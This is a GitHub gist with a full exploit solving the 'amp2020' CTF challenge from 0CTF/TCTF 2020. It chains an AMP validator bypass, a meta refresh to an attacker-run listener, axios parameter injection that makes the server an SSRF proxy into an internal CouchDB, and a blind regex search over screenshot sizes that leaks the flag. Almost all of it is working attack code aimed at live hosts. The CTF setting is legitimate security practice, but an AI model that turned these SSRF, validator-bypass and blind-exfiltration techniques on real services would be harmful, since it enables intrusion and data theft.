Last active
June 29, 2020 04:12
-
-
Save wbowling/f829196dc9845953762d22bebf80a6ae to your computer and use it in GitHub Desktop.
Solution to amp2020 from 0CTF/TCTF 2020 Quals
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
import requests | |
import string | |
""" | |
* can add arbitrary html and pass the validator by adding a tag comment inside the <noscript> and close it | |
* axios uses `input` directly and we can make it an object allowing full param control | |
* cheerio needs a string, but axios tries to return the response as json. If you add `爀` and set the `responseEncoding` to `ascii` the json parsing fails and it returns text | |
* add 25 entries to the db, the last one containing `爀<script><\/script>` | |
* use the couchdb `_find` api to do a partial match of the flag, if it matches the `<script>` doc will be off the page (26) results otherwise it will be returned | |
* Using the above the screenshot will either contain the amp errors (huge) or the "BONUS LIMIT" error (small) so can do a blind search based on the result size | |
need to run the add_script_doc function once to populate the db, then comment it out for the blind search | |
""" | |
HTML=""" | |
<html> | |
<body> | |
<script> | |
const loginUser = "vakzz3"; | |
const user = "a" + "3fcd9a6bcdb771f8241b594ba4546ec9"; | |
const BASE = "http://localhost:3000/" | |
function setup() { | |
var iframe = document.createElement("iframe"); | |
iframe.name = "iframe"; | |
iframe.width = 800; | |
iframe.height = 600; | |
document.body.appendChild(iframe); | |
} | |
function create_form(path) { | |
var form = document.createElement("form"); | |
form.method = "POST"; | |
form.action = BASE + path; | |
form.target = "iframe"; | |
document.body.appendChild(form); | |
return form; | |
} | |
function create_input(name, value) { | |
var element = document.createElement("input"); | |
element.name = name; | |
element.value = value; | |
element.type = "hidden"; | |
return element; | |
} | |
async function login() { | |
form = create_form("users/login") | |
form.appendChild(create_input("username", loginUser)); | |
form.appendChild(create_input("password", "vakzz")); | |
form.submit(); | |
await new Promise((resolve) => setTimeout(resolve, 300)); | |
} | |
async function add_script_doc() { | |
form = create_form("validator") | |
form.appendChild(create_input("type", "url")); | |
form.appendChild(create_input("input[url]", `http://8.8.8.8:5984/${user}/_bulk_docs`)); | |
form.appendChild(create_input("input[proxy][host]", "couchdb")); | |
form.appendChild(create_input("input[proxy][port]", "5984")); | |
for (let i = 0; i < 24; i++) { | |
form.appendChild(create_input(`input[data][docs][${i}][_id]`, `inject${i}`)); | |
} | |
form.appendChild(create_input(`input[data][docs][24][_id]`, `script`)); | |
form.appendChild(create_input(`input[data][docs][24][body]`, `爀<script><\/script>`)); | |
form.appendChild(create_input("input[auth][username]", user)) | |
form.appendChild(create_input("input[auth][password]", "vakzz")) | |
form.appendChild(create_input("input[method]", "post")); | |
form.submit(); | |
await new Promise((resolve) => setTimeout(resolve, 300)); | |
} | |
async function get_flag() { | |
form = create_form("validator") | |
form.appendChild(create_input("type", "url")); | |
form.appendChild(create_input("input[url]", `http://8.8.8.8:5984/${user}/_find`)); | |
form.appendChild(create_input("input[proxy][host]", "couchdb")); | |
form.appendChild(create_input("input[proxy][port]", "5984")); | |
form.appendChild(create_input("input[auth][username]", user)) | |
form.appendChild(create_input("input[auth][password]", "vakzz")) | |
form.appendChild(create_input("input[data][selector][$or][0][flag][$regex]", "THE_REGEX")) | |
form.appendChild(create_input("input[data][selector][$or][1][_id][$regex]", "(inject|script).*")) | |
form.appendChild(create_input("input[method]", "post")); | |
form.appendChild(create_input("input[responseEncoding]", "ascii")); | |
form.submit(); | |
await new Promise((resolve) => setTimeout(resolve, 300)); | |
} | |
async function gogo() { | |
setup(); | |
await login(); | |
// await add_script_doc(); | |
await get_flag(); | |
} | |
gogo(); | |
</script> | |
</body> | |
</html> | |
""" | |
PAYLOAD="""<!doctype html> | |
<html amp lang="en"> | |
<head> | |
<noscript><style amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms-animation:none;animation:none}</style> | |
<!-- </noscript> <meta http-equiv="refresh" content="0;url=http://aw.rs:12344"> --> | |
</noscript> | |
<meta charset="utf-8"> | |
<script async src="https://cdn.ampproject.org/v0.js"></script> | |
<title>Hello, AMPs</title> | |
<link rel="canonical" href="https://amp.dev/documentation/guides-and-tutorials/start/create/basic_markup/"> | |
<meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1"> | |
<style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-ms-animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start 8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}</style> | |
</head> | |
<body> | |
<h1>Welcome to the mobile web</h1> | |
</body> | |
</html>""" | |
flag = "" | |
found = "t4ke_a_google_amp_screensh0t_and_fell_" | |
def cb(c): | |
ppp = HTML.replace("THE_REGEX", "^flag{" + flag + ".*}$") | |
c.send("""HTTP/1.1 200 OK\r\nContent-Length:{}\r\nContent-Type: text/html; charset=utf-8\r\n\r\n{}""".format(len(ppp),ppp)) | |
c.close() | |
l = server(12344, callback=cb) | |
s = requests.Session() | |
while True: | |
for c in "_" + string.ascii_lowercase + string.digits: | |
flag = found + c | |
s.post("http://pwnable.org:33000/users/login", data={"password":"vakzz", "username": "vakzz"}) | |
resp = s.post("http://pwnable.org:33000/validator", data={"type":"text", "input": PAYLOAD}) | |
body = resp.json() | |
size = len(body["image"]) | |
print(flag, size) | |
if size < 15000: | |
found = flag | |
break | |
# flag{t4ke_a_google_amp_screensh0t_and_fell_into_millions_pit} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment